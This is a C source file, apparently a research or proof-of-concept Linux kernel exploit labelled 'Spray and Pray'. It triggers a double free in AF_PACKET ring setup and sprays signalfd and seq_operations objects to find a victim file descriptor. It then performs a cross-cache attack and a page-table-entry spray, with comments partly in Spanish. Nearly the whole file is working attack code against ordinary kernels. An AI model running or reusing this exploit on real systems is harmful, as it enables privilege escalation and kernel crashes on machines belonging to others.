/** * Spray and Pray method * * (Option 5.a in the paper) * */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "../include/exploit.h" #include "../include/util.h" #include "../include/signalfd_spray.h" #include "../include/pte_spray.h" int run_exploit() { int fd_s, ret, victim_fd; uint32_t block_s = PAGE, frame_s = PAGE / 2; int *fds0, *fds1,*fd_seq; int initial_spray_size = (16 * 256); // any multiple of 32 (obj_per_slab) printf("\n\n[+] Starting explotation\n"); pin_cpu(0); // Allocating large memory region for future PTE spray void *base = mmap_align(PGT_SRAY_SIZE); if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0) fprintf(stderr, "Error while creating socket: %d\n", fd_s); // PACKET_V3 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0) fprintf(stderr, "Error while setsockopt (V3): %d\n", ret); /* Allocate pg_vec - kmalloc-128 */ union tpacket_req_u treq = {}; treq.req3.tp_block_size = block_s; // 4096 treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar treq.req3.tp_frame_size = block_s; // 2048 treq.req3.tp_frame_nr = TARGET_SIZE / 8; treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit // pre allocations (to get a free empty slab) fds0 = alloc_signalfd_serial(0, initial_spray_size); // objPerSlab(16 en kmalloc-256) * X active slab (exactly one page) free_signalfd(fds0, initial_spray_size); if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution fprintf(stderr, "Error while setsockopt RX RING (V3): %d\n", ret); // 1st free: tp_block_nr to 0 memset(&treq, 0, sizeof(union tpacket_req_u)); if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() fprintf(stderr, "Error while putting rx_owner_map to 0. Error: %d\n", ret); // Ocupamos el pg_vec liberado con signal_ctx fds1 = alloc_signalfd_serial(0, SPRAY_SIZE); // Switch to TPACKET_V2 if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0) fprintf(stderr, "Error while setsockopt (V2): %d\n", ret); /* 2nd free: kmalloc-128 */ // memset(&treq, 0, sizeof(treq)); treq.req3.tp_block_size = block_s; treq.req3.tp_block_nr = 1; treq.req3.tp_frame_size = block_s; treq.req3.tp_frame_nr = 1; if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() { perror("setsockopt rx ring v2"); fprintf(stderr, "Error while setsockopt RX RING (V2): %d\n", ret); } printf("\nSpraying seq_operations objects...\n"); // trying to catch the freed signal_ctx (overlap with seq_operations) fd_seq = spray_seq_operations(SPRAY_SIZE); // encontrar fd de signal_ctx liberado victim_fd = leak_signal_fd_not_equal_sigmask(fds1, SPRAY_SIZE, SIGMASK_1st_SPRAY); if (victim_fd >= 0) { printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd); read_fdinfo(victim_fd); } else { printf("No se encontró ningún sigmask!=0000000000002000\n"); } fcntl(victim_fd, F_SETFD, FD_CLOEXEC); printf("\n\nCLosin signal\n"); // cerrar signal ctx y seq_operations sobrantes: CROSS CACHE ATTACK free_signalfd_except_victim(fds1, SPRAY_SIZE, victim_fd); // todos los del primer spray (excepto victima) free_signalfd(fd_seq, SPRAY_SIZE); // todos los seq_operations // Free signal_ctx al reves /*for (int i=16000; i>0; i--) { if (fds1[i-1]!=victim_fd) close(fds1[i-1]); } check_slabinfo(); */ // Spray PTE touch_user_ptes(base, PGT_SRAY_SIZE); read_fdinfo(victim_fd); read_fdinfo(victim_fd); sleep(20); printf("fiiiin"); // Libera la región mapeada de tablas de PTE. //free_user_ptes(base, PGT_SRAY_SIZE); }